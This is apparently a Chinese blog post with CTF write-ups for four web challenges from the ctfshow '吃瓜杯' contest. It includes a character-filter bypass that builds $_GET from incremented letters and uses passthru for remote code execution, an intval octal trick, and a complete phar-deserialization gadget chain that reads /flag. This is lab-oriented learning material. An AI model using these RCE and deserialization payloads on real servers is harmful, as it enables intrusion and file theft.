Ctfshow-吃瓜杯


吃瓜杯

Shellme

  • 题目环境:

直接一个phpinfo页面,在里面直接找flag就可以

shellme_Revenge

上一题的非预期环境被修复,看不到flag

  1. 看看phpinfo到底有什么

一般查看的是session相关文件存放路径,upload关键字眼,flag,cookie,allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag,一些敏感配置,_FILES[‘file1’],_SERVER[‘’]…..等

image-20210904005133452

没有flag

之后看cookie的时候,发现?looklook

image-20210904005151347

找到cookie发现?looklook

\2. 尝试在url上拼接?looklook=1

  • 显示出题目源码
<?php 
error_reporting(0); 
if ($_GET['looklook']){ 
    highlight_file(__FILE__); 
}else{ 
    setcookie("hint", "?looklook", time()+3600); 
} 
if (isset($_POST['ctf_show'])) { 
    $ctfshow = $_POST['ctf_show']; 
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) { 
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){ 
            eval($ctfshow); 
        }else{ 
            echo("fucccc hacker!!"); 
        } 
    } 
} else { 

    phpinfo(); 
} 
?>
  • 这里至允许通过C和0,1,2,3进行命令执行,仅仅通过这几个字符就不可能实现命令执行,这时候就想到了C自增
$_=C           //$_是少数没有过滤的特殊字符,这里用作变量名
++$_= D        
C/C.C=NANC
$_/$_.$_[0]=N     //这样直接跳到了N
C/C.C[0]=N        //和上面一样

image-20210904005107940

++之后是D

因为对长度有限制,那么尝试构建最简单最强大的命令:$_GET[0]($_GET[1]);
$_=C;
E: ++$_;$C=++$_    //此时$C的值为E
G: ++$_;$C_=++$_       //此时$__的值为G
T: $_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_; //此时的$_的值为S,之后拼接的时候++;为了节省代码的长度
拼接_GET:
$_ = _.$C_.$C.++$_ //先++在拼接

最后的$_GET[0]($_GET[1]);命令:
${$_}{0}(${$_}{1});

所以最后完整的命令:
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;${$_}{1}(${$_}{2});

POST==>x需要url编码
ctf_show = %24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%7B%24_%7D%7B1%7D(%24%7B%24_%7D%7B2%7D);

image-20210904005235307

1是函数,2是函数的参数

  • 由于phpinfo可以看到禁用了很多函数,这里用passthru,最后直接RCE

image-20210904005319038

找到flag的文件,之后打开

热身

  1. 题目环境
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

\2. 3道过滤

if($num==4476){
        die("no no no!");
    }
  • 要求num的值是4476,
if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
  • 过滤了a-z的字母
if(!strpos($num, "0")){
    die("no no no!!!");
}
  • 0不能出现在第0位置,也就是首位置

Payoad:

?num=+010574 //intval第三个参数为0则根据数字的特性转换为十进制,0开头按照8进制转换,0x开头按照16进制转换

image-20210904005401988十进制的4476,转换为8进制的10574

ATTup

  1. 先随便上传一个ZIP文件,之后下载

image-20210904005425226

文件存在,返回有效信息

\2. 确认可以查到后,点击确定,查看源代码

<?php
class View {
    public $fn;
    public function __invoke(){
        $text = base64_encode(file_get_contents($this->fn));
        echo "<script>alert('".$text."');self.location=document.referrer;</script>";
    }
}
class Fun{
    public $fun = ":)";
    public function __toString(){
        $fuc = $this->fun;
        $fuc();
        return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
    }
    public function __destruct()
    {
        echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
    }
}
$filename = $_POST["file"];
$stat = @stat($filename);
  • 显然是phar的反序列化,利用stat函数将phar文件的meta部分进行反序列化,利用phar://读取文件,进而执行反序列化

  • 构造payload:

<?php
class View{
    public $fn;
    public function __invoke(){
        $text = base64_encode(file_get_contents($this->fn));
        echo "<script>alert('".$text."');self.location=document.referrer;</script>";
    }
}

class Fun{
    public $fun=':)';

    public function __toString(){
        $fuc = $this->fun;
        $fuc();
        return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
    }
    public function __destruct()
    {
        echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
    }
}
$phar = new Phar('38.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'&lt;?= __HALT_COMPILER(); ?&gt;');
$b = new Fun();   //创建Fun对象,在析构的时候调用__tostring魔法函数
$b->fun= new Fun(); //调用析构函数的时候创建Fun类对象,第二部按照函数使用这个对象的时候什么函数都不会调用,最终先调用这个对象的析构函数
$b->fun->fun=new View(); //调用上一个对象的析构函数的时候会调用这个对象的__tostring函数,这一步就是在这时候吧第二个对象的fun属性创建为View对象
$b->fun->fun->fn='/flag'; //将View对象的fn函数设置为flag文件的路径,最终会通过函数使用调用者个对象的__invoke函数,之后读出这个文件(文件路径可以通过file:///flag查询文件,发现有返回信息从而获得文件路径)
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($b); //将要序列化的对象传进去,之后stat函数会对他进行反序列化
$phar -> stopBuffering();

image-20210904005458556

注意phar文件的特性HALT_COMPLER?>必须存在,下面是序列化之后的内容

  • 利用phar读取38.zip,并且抓包
phar://38.zip

image-20210904005522642

读出flag文件的内容

base64解码:

解码地址:https://base64.us

image-20210904005547949

base64解码


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录